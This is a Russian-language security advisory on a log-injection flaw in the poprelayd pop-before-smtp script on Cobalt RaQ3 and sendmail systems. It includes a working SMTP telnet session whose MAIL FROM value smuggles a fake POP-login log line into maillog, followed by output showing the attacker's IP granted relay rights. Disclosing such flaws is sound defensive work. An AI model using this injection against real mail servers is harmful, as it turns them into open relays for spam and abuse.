Poprelayd - простой скрипт, который просматривает /var/log/maillog для определения допустимого POP логина, после чего обновляет базу данных хеша, используемую sendmail для разрешения relaying этому логину. Этот метод называется "Pop-before-smtp".
Syslog строка, используемая для поиска, находится в этой форме для qpop сервера:
/POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9]\.]+)/
На некоторых cobalt raq3 серверах (с установленным пакетом poprelayd add-on) и на любой системе с установленным poprelayd скриптом с sendmail
становится возможным "заразить" строку в syslog, используя sendmail login. Так что любой может вставлять поддельную строку с его собственным IP, который проанализирует poprelayd даст разрешение на использование IP sendmail как relaying.
Пример:
telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66 @linux.org" 553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66 @linux.org"...Domain name required
now the IP 66.66.66.66 can do relay 🙂
in fact, on dumbcobalt:
in /var/log/maillog
...reject=533 "POP login by user "admin" at (66.66.66.66) 66.66.66.66 @linux.org",
size=0, class=0 ....etc etc...
[root@dumbcobalt /]# /usr/sbin/poprelayd -p
66.66.66.66 7